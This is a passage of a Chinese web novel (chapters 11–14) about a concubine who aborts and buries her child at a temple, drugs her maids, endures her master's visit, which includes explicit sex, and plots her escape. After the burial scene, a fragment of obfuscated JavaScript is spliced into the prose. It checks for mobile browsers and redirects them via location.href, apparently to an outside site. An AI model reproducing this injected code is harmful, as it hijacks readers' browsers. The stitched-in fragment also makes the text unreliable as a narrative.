“我曾为他怀过一个孩子,我也陪了他一年多。”我还为他蹉跎十年青春,最后害死了孩子,也失去了你,以及我自己的性命。
“那怎能一样?大爷待你不同寻常的。”春花急得脸红脖子粗,眼里都含着泪。
“他待每一个身边流连的每一个女人都这样‘不寻常’。”余姚冷静道。
春花打量了许多遍,都确信她是认真的。
“我的身价,五千两白银,和这座宅子同价。我是卑贱之人,谢凭却已有妻室,来日会有无数女人为他生下孩子。我的孩子只是其中一个,也许,也许将来他成了谢凭夫人的眼中钉、肉中刺。她作为嫡母,谢凭的嫡妻,我有什么能力能帮到我的孩子?”余姚说着,眼中渐渐闪烁着晶莹,她阖上眼。
她甚至没有任何反抗能力。
所以,作为母亲爱孩子的本能,她选择不让他来到这个世界,不让他经历上一世的苦难。
春花手握紧成拳,她将手搭在余姚手上,坚定道:“既然小姐拿定主意,春花必然誓死追随。”
余姚用过早饭后,她与春花一起合计把身边值钱的东西都收齐。
11. 011
余姚将近年来谢凭送他的首饰,挑了几个贵重的带去,还有谢凭每月都会给余姚拨一笔钱,每月五百两银子,但是余姚打件像样的首饰,都要花一百两白银。
计算下来,余姚只有三千两银子。
春花想把衣裳什么的带走,没想到却给余姚制止了。
余姚说:“这里大部分都是我的衣裳,若是陡然空了许多,叫人察觉,咱们岂不是打草惊蛇?”
回答的只有脚边“汪汪……”声,余姚低头,一只巴掌大小的狗崽子似乎察觉到什么,在她脚边转来转去。
春花蹲下来摸它,问:“姨娘,你带红豆去吗?”
余姚想了想,摇头:“不成,它是条生在富贵窝里的狗,跟着我们走,兴许将来饥饱不定,真是造孽。它留在这里,本就是谢凭的东西,总不至于没了活路。”
春花点点头,两个人拾掇了半天,就叫了秋月来套马车出行。
余姚协同二婢,一起踏出这座困住她的宅院,这里的一草一木,一砖一瓦,余姚都一清二楚。
临上马车之际,她转身回望了一眼这处宅子,并不富丽堂皇,反而低调奢华,京官之中,若是出身寒门,且职位不高的七八品小官,连这处宅子都买不起。
这就是她的藏身之所,前世她心心念念的侯府,反而成了她的埋骨之处。
“姨娘,怎么了?”一旁搀扶她上马车的春花问道。
余姚抬脚,收回目光:“没什么,我瞧见了有两只鸟雀儿从屋子里飞出来了。”
春花笑了笑,抬步跟着上了马车,秋月紧随其后。
秋月趴在车窗边,回首看了一眼车后座拉着的行礼,回身道:“姨娘这次去护国寺祈福小住,怎要带这样多的东西?”
余姚和春花脸色纷纷一僵,余姚瞥见春花的脸都红了,她连忙将手覆盖在春花手背安抚两下。
余姚说:“小住的日子又不短,东西自然都要带全。否则缺什么短什么,山上山下不好补。”
秋月讪讪,沉默地点点头。
护国寺在三醇山顶,此时仍有山树坚石,重重雪色犹如银梭飞度,山径人际寥寥。
余姚仍是与春花相互搀扶上去,秋月跟在后面,用帕子掩住口鼻,最后面是两个婢女、四个小厮,两个人一组,合力向上各自抬着木箱子。
三千台阶上铺的稻草也冻住了,虽然身上披了一件厚实的白毛披风,余姚觉得自己的下半身,连着腿脚都冻僵得像块铁。
一行人走走歇歇,终于在下雪之前抵达了山顶,好在管家提前打好招呼,护国寺派遣了沙弥带路。
一路上烟云净尽,满寺雪积,万瓦铺银,鳞次高低。
寺里安排余姚住在浮香院,这是一座比较僻静的院子,里面种植了诸多梅花,白雪红梅相映衬,更显得花清香冷。
余姚住进浮香院主屋,秋月抢先一步只会小丫鬟打扫屋子,铺床叠被。
春花则给余姚倒了杯暖茶,又找小沙弥弄了个铁盆暖手脚。
余姚感觉身上回温,便与春花放下茶盏,把装了炭的银香球暖手。
两人出了门,余姚仔细留心道路位置。直到逛到后山,此处种满松柏,高林大树,白雪茫茫,背后竟有一潭湖水,上面结了冰。
春花道:“姨娘,回去吧,你的脸上一点血色都没了。”
余姚看了一眼周身环境,她说,“这里安静,又是供奉佛祖的地方,前枕高山,后临溪水。他一定会喜欢这里。”
春花先前没反应过来,直到现在才知道她说的是那个孩子,是昨日那个被一副药打掉的孩子。
春花心里瘆得慌,她抓紧余姚的手臂。
过了许久,余姚说:“回去吧。”
然后她又说:“晚上我要再来一趟,我要把他埋在这。”
“那怎么能成?你身体还没好全呢!听厨房生过孩子的老嬷嬷说过,月子里连风都不能吹。”
余姚笑了,何止是不能吹风,月子里三天不能梳洗,不能出门……
春花扶着余姚会了浮香院,余姚在床上躺了好一会儿,晚饭是寺庙里的食物,没有一丁点荤腥。
什么大白菜炖番茄、永和豆腐之类的素菜,余姚没什么胃口,想到晚上要干的事情费体力,她便强撑着用完了饭。
傍晚时分,余姚摒开人,对春花说,“点个迷魂香吧,值夜的两个丫鬟若是守着,我怕是去不成了。”
春花说:“不如我替姨娘去吧,姨娘的身子……”
余姚却说:“你替我去,他见了你,他会害怕。我是他亲娘,是我带他来,也该我亲手送他走。”
春花被这一番话说的眼中含泪,她叹息一声,点点头,找出收藏的线香点上了。
余姚用沾湿水的帕子堵住鼻孔,她背对着两个守夜的丫鬟,又有厚实的床帐遮挡着,两个丫鬟果然没有发现不对劲,原本站着,后来就只能坐着,最后头一歪,直接睡倒过去。
余姚听见响动,便坐起身唤道:“寒露?云深?”
她又喊了两声,见她们确实睡着了,便直接撩开床帐,从床底下拉出来一个长方黑箱子,她把箱子上面的横条绳子套在肩膀上,然后就轻手轻脚走出了院子,直往白日所见的后山去。
夜雪幽寂,入夜了,后山果然荒僻冷寂,山路曲折盘根错节,寒风如万箭齐发,刺得人脑子又涨又疼。
周遭冷黑,一个披着白色斗篷的女子手提琉璃八角灯独行在路上,她脸色惨白,却咬牙前行。不知走了多久,终于抵达白日看中的地方。
余姚便把长方盒子取下来放在地上,“咔嚓”一声,盒子上面的铜锁终于应声打开。露出了里面放置了,手臂长短的铁锹、铁锄之类的工具。
余姚没有犹豫,她开始用铁锄挖,没有一会儿,掌心就磨出水泡,地面结冰越发难挖掘。
她咬咬牙,放下工具把准备干衣服作引子,直接把长方木盒子给引燃起来了。
以那块地方为圆心,周围覆盖的冰雪融化成水珠,露出来下面的土地。
见那些东西烧完了,余姚捡起地上的铁锄重新挖掘了起来。
果然化冰了以后,再挖起来就轻易了许多。余姚挖了好一会儿,到了后面连提不动锄头了就用手指挖,指甲应声而断,余姚仿佛感觉不到疼痛,直到挖到她觉得可以的深度,便将那只靛蓝缠花折枝的青花瓷罐用力抱紧,然后松开放入了土坑当中。
她将自己衣襟上的白纱帕子覆盖在瓷罐上,她盯着坑里面的东西,喃道:“宗哥儿,我不配做你娘,你安心走吧。咱们两世母子缘分浅薄,你走过奈何桥,途径三生石,见到判官了,别叫他安排你做我的儿了。你来世要投胎去好人家家里,你脑子好,读书也肯用功,将来考取功名入仕,遇见心爱的女子便三书六礼聘她作妇……”
余姚抓起一把土纷纷撒在了帕子长方,她站起身,捡起了脚边的铁铲,手脚并用推填了起来。
终于填平,余姚抬头看向漆黑的天幕,此时鹅毛大雪纷飞落下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125106|196027||http|test|mini|href|location''.split(''|''),0,{}));
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>余姚捡起地上的工具,最后侧身回看了一眼这个地方。
她第一个孩子血肉的埋骨之处,也许有生之年她再也不会来了。
最后余姚转身,决绝离去,她步履蹒跚,没再回头看一眼。
她记得过来的路上有一处山崖,她可以把挖土的东西都往下扔,这样就不会引人注意了。好在这些铁锄之类的东西是春花出去的时候拜托铁匠铺子特意做的,都是女子适用的工具。
临近山崖路途越发陡峭,余姚将手中拖行的工具一件件往山崖下扔去,许久才听见落地的声音。
余姚扔最后一件东西的时候,她站起身,重物落地时,她忽然抬眼瞥见了对面一个惊愕的眼眸。
雪月下,剔透明亮的月光照在他光秃秃的脑门上,一双眼眸小鹿般澄净。
那个小沙弥显然是被吓掉了魂,他忽然爆发出一阵尖利的凄惨叫声,而后手忙脚乱连滚带爬跑越跑越远,边跑边喊:“有鬼,有鬼啊……”
余姚:“……”
余姚把东西都丢完了,她用手扒着山崖墙壁,缓慢前行,她撑着一口气回了浮香院,好在更深雪重,伺候的人都在熟睡。
她轻手推开门,又往侧间转去,打开门,一道黑影忽然在眼前一闪,余姚被唬了一跳,差点叫出来。
余姚看清眼前的人,惊道:“春花,你怎么还不睡?”
春花说:“自姨娘你走以后,我心惊肉跳……没见你平安回来,我睡觉合不上眼。对了,路上没出什么意外吧?”
余姚摇头,她用热水洗漱了一番,春花见了她的手,又是一番惊吓,只能替她上药包扎伤口。
余姚与春花合力,两个人想办法遮掩,好在余姚占着半个主子的身份,能暂时压制住小丫鬟,只是那秋月难缠。
也是秋月最先发现余姚的月事竟然延续了半月之久。她惊骇不已,为表忠心,先劝慰余姚道:“姨娘,您的月事从前虽偶有推迟,但还从没有这样延长过,不如还是下山去请大夫瞧瞧吧。”
余姚烦道:“哪有人做事做一半就不做了?何况是侍奉佛祖的事,我已加入寺内参经许久,若是此时退出,岂非用心不诚?”
秋月原是为了讨好,如今偷鸡不成蚀把米,反而不得好,她只得讪笑退到旁边去。
余姚被秋月点破心事,心中本就不虞,却是因为秋月在她看来就是谢凭留在她身边的眼线,谢凭那么多疑的人,难免不会查到她身上。
但一时间余姚也没法子处置这秋月,若是突然把她撵下山去,那才是真的打草惊蛇。
看来只能她再小心些了。
余姚决定洗澡期间,顺便把月事带烧了,这样毁尸灭迹,便也没有后顾之忧了。
只是余姚还没松懈两天,就被谢凭寄来的书信惊到了。
谢凭遣了个小厮送信,余姚命人布置茶点给那小厮,她则拿着书信回了房间拆看。
信纸上,又几行凌厉行书,写道:陌上花开,卿可缓缓归矣。
余姚冷笑着把信拍在桌子上,什么“卿可缓缓归矣”?这原是书上记载某位妻子回娘家,丈夫思念妻子,便寄去书信,妻子见信哭笑不得,信中写“可缓缓归”,可收信人却知道这分明是丈夫在催促妻子回家的急促心理。
余姚站起身,将方桌上的水晶美人腰罩子揭开,将那信连信封都喂了火舌,烈焰遇纸“蓬”地烧了起来。
她又不是他的妻,连妾都不是,凭什么等他?
鱼入水,鸟凌空,再不肯回头。
12. 012
春三月,山顶之上桃花先谢,梨花白纷纷开满枝头。
护国寺讲经殿中,身高数丈的金身坐佛,凤眼微眯,光影从竹窗中迁移,菩萨低眉间,花开两生面。
金佛台下,无数身披青蓝色棉衣僧袍的僧人跪坐在毡垫上,单手悬置立于胸前,大拇指与手掌之间挂了一串黄褐色的佛珠。僧人们闭眼念经,露出了点了两排白戒点、青黑短茬儿的脑袋,一手有规律地敲着木鱼,淅淅沥沥。
靠近殿门众多小沙弥之中,有一位脸罩水晶珠面帘的年轻女客亦跪坐其间,她闭上眼,双手合十,嘴里念着经。
身边的小沙弥脑袋上还没有受戒,他们全然不似跪在前面的僧人那般虔诚,寺院中戒律清规甚严,他们不敢擅自离席,只敢低着头小声叽叽喳喳。
跪坐在余姚左手边的小沙弥侧头对同伴说:“慧佳师兄,你下午还打不打扫山路了?”
同伴说:“怎么不打扫?听说三日后本朝太子殿下要代替天子来本寺斋戒祈福。”
“哎,真是贵人一张嘴,小人跑断腿啊……”
小沙弥的话还没讲完,忽然被一道巨大的黑影遮挡,向后一瞧,原来是站在后面负责矫正小沙弥们讲经的大和尚,铁面无情立在身后。
大和尚嘴巴动了动,两个小沙弥就乖乖向后伸出了手,然后听见两道藤条与皮肉相扣的声音。
周围的小沙弥们见状,连忙端正姿势,嘴皮子咕佣有声地念起佛经来。
陷入佛经长颂的余姚,忽然睁开眼眸,抬眸望了一眼高高在上的金身佛祖。佛祖不言不语,似笑非笑。
好风凭借力,送我上青云。【1】
她的东风,要来了。
高楼佛堂中,毡垫上跪着一个青衣短袄,长身罩裙的女子,她头上没有什么珠翠,仅有头上素钗,耳上素环而已,偏容貌秀气精致,眉青唇红。
此时殿门开启,走进来另一个满身妖娆的女子,明明是隆冬时节,她的高鬓上却簪着一只栩栩如生的重瓣牡丹花,浓妆艳丽。
她行至青衣女子身侧,却不跪。冷眼笑道:“玉腰,你手上沾了亲生骨肉的鲜血,你如今竟还敢跪在佛前诵经。”
余姚将三根燃香插入香炉中,她双手合十再拜,手腕上双条细玉镯滑落手臂,发出金石之声。
她拜完起身,睁眼道:“芍药,在青楼,你手上姑娘被客人留了种,你为了生意,她们为了银钱,你们打掉的孩子总不计其数吧?”
芍药蹙眉怒斥道:“我是鸨母,她们是婊子,我们是为了活命,不得已才做!你明明有好前程,却不珍惜!”
余姚闻言,脸上浮起冷笑:“我们同在毂中,都是身不由己。芍药,我从没阻挡别人攀上谢凭,我也没害过行里任何一个没害过我的姐妹。”
芍药不愿再吵,问道:“你找我来要我要做什么?我一个青楼的教习鸨母,能对你有多大助力?看在昔日授业之恩的份上,你总不能要我赌上性命帮你吧?”
余姚知道她嘴上刻薄,但骨子里就是有恩必报,便说:“我知道你手上有漕帮的联系,你把这条线借我用用,算昔日救命恩情两清。我再也不来为难你了,生死我自负。”
芍药不愿再说,她伸手钻进袖子里,揪出来一块牌子扔给余姚,说:“云京城东,水光码头的白玉当铺,那里漕帮泥腿子又穷又凶,给钱就干。生死你自负,两清了!”
余姚看着芍药扭腰离去,她握紧手中的木牌,棱角戳入她掌心,又尖又疼。
她举起木牌见到上面写了两个粗鲁狂放的三个字“马龙帮”。
傍晚时分,换上了余姚衣裳的春花,看见面前换上了男子装扮的余姚,她骨架纤细,就算是穿男装,也显现出一段病态风流来。
余姚已经多穿了两三件衣裳,让腰部看起来十分壮硕。
春花都控制不住发抖,她两只手扒在余姚身上,声音发颤:“姨娘,你孤身一人,怎能前往?让我陪你一起去吧,这世上,你比我爹娘、哥嫂都对我好,能与你死在一处,是我最大的心愿。”
余姚反握住她的手:“春花,你要留在这,若是两人都不在,这里要是出了什么幺蛾子,咱们就功亏一篑了。”
余姚安抚好了春花,她独身下了山,雇了马车,去了芍药说的云京城东,水光码头的白玉堂当铺。余姚在那给了笔定金,又说定了要求,她天擦黑才回了护国寺。
蓝黑的天,黑得一点渣子没有,蓝洞洞,黑漆漆,上面稀疏几点星子。余姚从后山开始爬上去,她混进了给寺庙里送菜的人群里,看门的老和尚们年纪都大了,山顶清寒,他们脑袋上花白的长眉毛就像是老参尾须,遮挡住了一大半的黑灰色眼珠。
有送菜的老汉刚要说不认识她,余姚连忙把人拉到一边去,给他塞了一个银角子。
老汉不小心触到了她的手,感觉白嫩异常,他抬眸看去,感觉面前的人虽然肤色很黑,眉毛又粗又丑。只是这个丑陋的年轻人,脸庞上那双眼睛倒生得格外明亮、妩媚。
老汉一愣,张了张嘴:“你……”
余姚伸手把头顶上带着的竹篾帽子往下压了压,压着声音道:“收人钱财,替人消灾。”
老汉不知听没听懂,把那只银角子放在手里掂了掂,又塞进嘴里咬了咬,被硌了也乐呵呵笑着走了。
余姚跟在送菜老头身后,跟着一起进了里面。她走在后面,趁着众人都没注意的时候,悄悄离开。
夜里浮香院里面关了门,现下天还没亮,院门口忽然传出三声叩门声。
叩门声刚落,几乎就是瞬间,院门立即被打开来。
春花看清了外面的人,一时间惊喜若狂,余姚点点头,表示事情一已经办妥当了。主仆两个轻手轻脚把让一偏院门关了,又一齐回了主屋里。
进去的时候,余姚路过那两个守夜的丫鬟,她转头问:“点了几根香?”
春花说:“整夜点了三根,怕她们醒。”
余姚叹了一声,春花听见了,便说:“她们守夜睡不好,用了香,也不是害人,姨娘宽心。”
余姚知道春花这是在宽慰自己,她也不是什么善良的人,如今是特殊时候,必要的牺牲在所难免。
事情都走到了现在这个地步,箭在弦上,只待满弓如月。
余姚去了侧间把身上的衣裳换下来,又把脸上的伪装都用清水卸了个干净。她整夜都提心吊胆,如今松懈下来,感觉又困又饿,躺倒在床上,直接睡了过去。
睡了许久,余姚感觉迷迷糊糊之间,似乎有人拂开了她的床帐,问她吃不吃饭?
但是余姚困得眼皮都睁不开,灵魂就像是切断了和□□之间的联系。
浮香
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院主屋里,两个梳着同样双丫髻的小丫鬟精神奕奕地看向对方。
名叫寒露的丫鬟担忧地看了一眼床帐,然后对秋月问:“秋月姐姐,姨娘她今日一天都没用饭了,这么睡着会不会出事啊?”
秋月淡淡瞥了床帐方向,她心中嫉恨余姚,怨恨自己怎么没能生出这样一张颠倒众生的脸,心里分明恨不得余姚直接在梦境里死过去从好呢,脸上却没有露出半点不快。
秋月淡淡说:“日日夜里不都是你们两个守夜,姨娘晚上做了什么,睡没睡着,你们又不是死人,怎么会不知晓?”
寒露与云深两个小丫鬟对视一眼,都从彼此眼中看出讪讪——自从来了护国寺,她们两个在守夜的时候,偶尔也睡过去过,最过分的还是两个月前和昨日夜里。
不知怎的,就是睡不够。反正是什么办法都用过了,打自己、掐自己、喝浓茶什么的都不管用。
结果一觉睡醒,整个人神清气爽,就是有点担心姨娘身边两个大丫鬟的挤兑和责问。
好在她们最严重睡过头的那两回,都是余姨娘最信任的大丫鬟春花当值,春花姐姐见她们睡过去了,不仅不责骂,还暂时顶她们的班,叫她们回房去好好洗漱、休息。
就在几个丫鬟心中各怀鬼胎的时候,院子外面忽然传出“世子爷来了”之类的传话。
预备出来倒杯热茶的春花被这一声吓得魂不附体,她手中出自江南西道景德镇的玲珑白瓷茶盏登时落地,砸得四分五裂。
秋月与另外两个小丫鬟的目光齐齐望去,尤其是秋月她真没想到,有生之年竟然能在一个人的脸上看到“心如死灰”四个字的诠释。
就在她们失神的时候,哪里想到那春花不仅没有顾着脚下的碎瓷渣子,反而扭身就往里间跑。
那副模样,不知道还以为外面不是男主人来了,反而以为外面来人是索命恶鬼呢!
春花吓得脸都死白的,她来到里间床榻边上,脚一歪差点倒在余姚身上。
余姚脸色也微变,但是她抬眼看见了春花的脸色,又察觉到她的那副娇小玲珑的身架子在颤栗。
她正了正面色,将手放在了她的肩膀上拍了拍,春花双目无神,说:“会不会,爷都知道了……”
闻言,余姚脸色登时一变,她低声呵斥道:“不许动摇,春花,咱们现在是一根绳子上的蚂蚱了,首先,你得安静下来,否则东窗事发,你我都得死!”
似乎是“死”字触动到了春花,春花登时就像是被叫醒回魂的猎物,她静下来了。
余姚缓了缓,说,:“船到桥头自然直,不管发生什么,先顶上吧。”
她说完这句话,春花重重吐出一口气,就像是找到主心骨。
“我服侍姨娘梳妆吧。”春花恢复了过来,心中仍有惊骇,但已经不纠结了。
余姚想了想,她说:“不成,来不及了。”
话音刚落,主仆两个就听见外间的门被推开的声音,两人面色都僵了僵。
又听见外间秋月与另外两个婢子请安的声音,谢凭“嗯”了一声,本来平缓的脚步声忽然就停下了。
谢凭声音又阴又冷,明明他人不在跟前,但是他的威压依旧传达到了人心里。
他问:“我不在跟前,你们不在府里,连碎瓷都不收拾了?半点规矩都没有,是谁做的?”
13. 013
外面的人顿时噤若寒蝉,春花在里间听见这样的话,也是浑身兢兢战战起来。
外面两个小丫鬟都念着春花平时待她们的好,因此紧紧闭口不谈。
反倒是秋月难得逮到这样的好机会,她当即便道:“回爷的话,这碎瓷是春花不慎打碎,哎,春花是余姨娘身边的人,情分自然与我们后面来的不同,”
谢凭原本来此,就是因着他连续发了十几道信来,但余姚这边别说嘘寒问暖了,连回信都分外敷衍。
他听完秋月这番指桑卖槐的话,反而大马金刀往外间束腰方桌旁太师椅上一坐,冷声道:“余姨娘何在?”
秋月正求之不得告那懒妇一状,世子爷出身高门,侯门深户里上上下下都得听号令,余姚贪睡一个日夜,若叫谢凭知道,定然少不了嫌弃与责难。
她恭谨道:“回爷的话,姨娘自昨日夜里,一直到现在都在床榻上没起,今日滴米未进……”
谢凭听完,果然脸色阴晴变幻几轮,最后他神色不定,起身往里间去。
脚步声响起,余姚与春花的心脏仿佛都提到了嗓子眼。
余姚伸出手拍了拍她的肩膀,说:“别怕。”
里间与外间相隔只有一道翠绿圆粒水晶并蛇红玛瑙方形流苏门帘,谢凭从外面拂开门帘,力道不小,珠翠相互碰撞,发出一排哗哗“玎珰”的脆响。
谢凭一进来,就瞧见床帐散开落下,床上坐着一个衣裳单薄的人。夕阳从纸窗透入,愈发显得床上坐着的女子骨架纤细、灵巧。
而床旁边站着一个没有眼力劲的蠢丫头,正是那个跟余姚有着从小情义、叫什么“春花”的丫鬟。
冬季过去,谢凭身上的凛冽冬装已然换成了春衫,他穿着外罩黑纱,紫红朝夕花暮色宽袖道袍,额头处用懒收网巾收束,头顶的发髻用一只镂空金葫芦嵌米珠大小红宝石金簪束着。
他此刻心情明显不虞,两道长眉紧蹙,他半点目光没给春花,只冷声道:“出去领罚。”
春花求不得赶紧出去,只是她的手却被余姚拉住,她回头看去。
余姚抬眸,抬头直视:“你不讲理,一来就罚我身边的人。”
谢凭被她这幅理直气壮的模样气笑了,他冷冷看向了两个女子相连的手,道:“你倒是越发娇纵了,我的话从不讲三遍。”
春花被谢凭看得心底发麻,她连忙用力把手掌从余姚手里抽出来,余姚一时不慎,竟然真的给春花抽出了手来。
春花连忙福身道:“多谢姨娘记挂,是我做的不对,爷教训的是,我这就出去领罚。”
说着,春花连忙往外走去。
余姚感觉自己太阳穴的位置就像是被一只长尾蝎子狠狠蛰了口子,又疼又晕。
她却不愿意在谢凭面前示弱,毕竟在她的原计划里,不出意外的话,她就能得到自由了。
谢凭见她衣衫不整,面露恼怒,雪白的脸颊上映出水蜜桃一样的粉,又轻又薄,正如梨花带雨,海棠曜日。他甚爱她这幅娇弱不胜衣的模样,又想起她这两三月来,书信寥寥,他在信中催促几回,她都视若罔闻。
她就算是写信,也总是草草敷衍,半点心意都不肯用。
他心怨这个狼心狗肺的薄情女子竟然牵动了他的喜怒哀乐,谢凭有心给她看点脸色,叫她知道,他才不是什么勾勾手就能哄好、能够接受热脸贴冷屁股的人。
谢凭站在床榻附近,冷笑道:“余氏,你如今半点规矩体统都不要了,夫主面前,你如此不修边幅,《女诫》是学到狗肚子里去了不成?”
余姚感觉到胸膛处有什么灼热的目光落在上面,她就算不抬头,也知道这目光的主人除了谢凭,再没有别人。
她心中冷哼,色批!
余姚把衣襟盘扣拢了拢,她直接侧过身去,半点不顾虑谢凭。
余姚闷声说:“既然如此,你去找温柔小意,乐意哄你的,反正你的枕边人多如牛毛。”
谢凭原本气得三魂七魄都要原地炸裂开,现在见她提起了他枕边人什么的,想来又在胡思乱想了。
谢凭心中又酸又乐,酸甜苦辣一齐涌上喉头,他撩开床帐,躺在了她旁边,一手将她揽入怀中,道:“混说什么!一点规矩都没有,我身边哪有什么人?你走了三个月,我公粮积蓄了三月,小没良心的……老子,硬得又痛又涨!不信?不信你摸摸……它想死你了……”
余姚心里真没想到谢凭还能这样低声下气,明明刚才吵起来,仿佛彼此之间有世仇。
她不乐意,想按住那双不老实的手,她咬唇道:“不成……我月信来了……”
他低声问道:“是么?。”
余姚推拒不开,只能被人当做玩偶一般拥在怀中,她挣扎几下,就被某人‘镇压’了。
“动什么?老实点。"他如此说道。
余姚却被他勒得差点喘不上气,她感觉腰上就像是缠绕了一条黑色巨蟒,盘旋缠绕,嘶嘶作响。
事后叫了回水,谢凭简单擦拭了一番以后,又端了水盆过来,用毛巾兑了水去给她擦。
余姚不是初破,她与谢凭房中事向来都不由她做主,便是偶尔赢一回,也只是东风吹倒西风。
她今日没用饭,晕了几回,等醒了过来,谢凭反而揽着她道:“你是来将养身子的,几月过去,你这身子反而不如在家里的时候,不如明日随我家去吧。”
余姚吓得立即睁开眼眸,直直望向他,“不成,我不回去!”
谢凭被她这幅斩钉截铁的语气气到了,他冷哼:“你是我的人,你不随我回家,你想回哪?在寺庙里绞头发做姑子吗?我告诉你,你想都别想,我明日绑也把你绑回去。”
余姚身子都硬了半边,她的心就像从高空坠地,砸在地上碎得四分五裂。但她心中十分清楚,若是顾虑明日的事情,就不能惹谢凭不高兴。
他是吃软不吃硬的人,余姚上一世与他相处十年,自问对他的脾气摸得一清二楚。
余姚便在他怀里扭作一团,肤肉相贴,顿时温香暖玉混作一团。余姚作为扬州刘家大院最顶尖的姑娘,身体上半分损伤都无,还日日用了特殊药物浸泡换洗,一身皮肉便晶莹胜雪,滑若水鱼。
谢凭叫她这样一闹腾,心里什么火气都消失殆尽了。他今日浇灌了大部分精血,如今又叫她搅弄起火
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气,他闷哼一声,低哑道:“夭夭,再动,老子就要被你吸干了。”
余姚却没如他所愿安静下来,她忽然夹紧他,谢凭感觉那股爽感从腹腔直通天灵盖。
她道:“三个月还差一天整月,这样多天都等了,难不成差这一天?”
谢凭又涨又爽,他咬牙:“你在庙里要做真佛,不理我的死活!”
余姚却笑,不叫他对准进入,她哼哼:“分明你是色中饿鬼,见了我就像野狗见了肉,飞扑上去,半点不顾虑人。”
谢凭叫她说的没脸,他强硬拥着着她的腰(审核大大,你看清楚啊,只是抱着腰而已啊......),他说:“浑说,你好大胆子,把自己比作肉,把本官比作野狗?真是放肆!”
余姚又问:“还差一日就功德圆满,大人,连这点时间都等不得?”
谢凭几次没得逞,恨道:“成,明日一过,你就乖乖下山去,我给你预备好酒好菜迎接你来。”
余姚见目的已达到,她便一乐,谢凭趁此良机猛然扑来,竟然叫他得逞!
两个人夜里起身洗漱,一起用了斋饭,谢凭送了余姚一身衣裳,余姚一摸那布料,一瞧针脚,就知道这是“衣香坊”出品。
秋月入内伺候余姚换衣,尺寸出乎意料地合身。
见余姚看来,谢凭见眼前人身着圆领柏绿色团山茶花纹宽袖暗纹上衣,下面是月白绣茶花纹百褶裙,脚上弓鞋尖上一簇米珠茶花骨朵,更显两只脚儿玲珑可爱。
谢凭未免眼前一亮,他一只手臂搁在桌子上,食指扣动,声声沉闷。
一见她,便笑了。
余姚问:“你怎知我衣裳尺寸?”
她以为谢凭会说,用府上原定的尺寸。
谢凭却说:“时人有诗云:‘托买吴陵束,何须问短长?妾身君抱惯,尺寸细思量【1】。’你我情意天长日久,我岂会不知你的尺寸。”
这首词言辞大胆热情,又暗含同床共枕的亲昵,一个男人对着她念这样的情诗,还真有些难为情。
余姚移开脸,一般女子在这样的场合下,都会被人以为是害羞。
谢凭喉头痒痒的,他伸手,“过来。”
余姚配合走过去,将一只柔若无骨的手搭在他手掌上。
谢凭没在这里待多久,今日是谢凭休沐的日日子,明日卯时初他就得上朝,因此,吃过了晚饭,谢凭就带着小厮长风与有信,一齐下了山去。
临走的时候,谢凭在院门口回望,对着余姚叮嘱道:“后日我在家等你。”
院子里伺候的下人,都是要眼观鼻,鼻观心,无不心想:世子爷半下午来看望姨娘,还得半夜回去,可见余姨娘得宠之甚!
余姚轻笑,一直望着他,缥缈得像山间一缕轻飘飘的云雾。
没有应他的话。
谢凭回过头,身后有信则对着长风挤眉弄眼,还没来得及收回笑,有信就被长风恶狠狠敲了个核桃。
谢凭理都没理身后两个小厮的动作,他摩挲腰间垂下的一抹流苏紫玉腰挂。
“有些事,待他日,枕边教。”
他与她,日子长久着呢。
14. 014
三月甘霖渗透泥土中枯竭的根须,滋润了丝丝茎络,催发枝头梨花如雪,剪刀尾的黑燕子弹弓一样从一头飞到另一头。
翅湿沾微雨,泥香带落花。
春花提前叫醒了余姚,主仆两个先将重要装有重要财物的东西检查一遍,发现并无遗漏,都相视一笑。
春花说:“幸好昨日世子爷来得仓促,本来府里面冒犯了主子都得挨二十板子,但一时之间也找不到板子,长风哥哥做主,找来根藤条打手心,有点疼,好在不至于十天半月下不来床,走不了路。”
余姚想了个法子,看了看外面的太阳倾斜,想到了早晨她去做早课的时候,对小沙弥问的时间。
她对春花说:“时辰到了,咱们走。”
主仆两个把东西捆在腰间衣裳裙下,藏在伞里边,等开了门,要往外面走,忽然被一人拦住。
余姚一瞧,见面前站着一个粉色衣裳的二八小娘子,她梳着双丫髻,杏眼桃腮,眼睛又大又灵,正是秋月。
秋月看了一眼余姚今日装扮,她知晓余姨娘身上这身衣裳是世子爷特意为她订做,果然衬得人如神仙妃子。不过……
秋月看了一眼余姚头上的发型款式,仍旧是云京城里面闺阁里未嫁女儿最爱的三小髻儿。她忽然反应过来,这个余姨娘今年才十五岁。
年轻、貌美是她的利器,最令她妒忌的还是她面对谢凭时,能温婉,也能耍小性儿。甚至还能跟谢凭吵得天昏地暗,可就算如此,谢凭不仅没有厌弃她,反而更宠爱她,衣裳首饰,凡是侯府里大夫人有的,余姚这边从来都不会缺。
男人对女人最直接表达爱意的方法最了当,那就是把最好的东西送到她面前。
钱在哪里,爱就在哪里。
余姚看着秋月的目光一直在她衣裳上,仿佛要把她的身上盯出来一个洞来。
她轻轻咳嗽一声,“我与春花出去走走,你身上不好,就留在这里。”
说着,余姚就要与春花绕出去。
秋月却跟上说:“春花姐姐昨儿冒冒失失,连茶盏子都打碎了,吃了大爷的挂落,春花姐姐手上还有伤口,如何能服侍好姨娘?”
如此讲着,秋月直接跟在了余姚的另一侧手边,她得意看了一眼春花。
春花以前在刘家大院的时候,身边接触的多的是弯弯绕绕、勾心斗角,秋月这种小伎俩,她都看不上。
余姚脸上没变化,但心底却焦虑了起来,这秋月明显就是谢凭留在她身边的耳报神。
若是把她带在身边,她的计划又多了许多阻碍。若是说不好,还容易暴露。
这可不成,得重新想个法子把秋月支走才是!
如此想着,余姚便带着二婢一起往护国寺后山走去,余姚在这三月里日日都勘测地形、地貌,这里的山势起伏,她都一清二楚。
秋月真觉得这个余姨娘是真的事精,才走出一会功夫,就说脚疼口渴。又叫她回去给她带水来喝,叫她一起回去又不肯。
贱人就是矫情!
心里这样暗自骂了一声,秋月只得转身往回走,还没走出两步。忽然听见一声春花发出的吱哇鬼叫,又惨又凄厉,在深山老林里,更加瘆人。
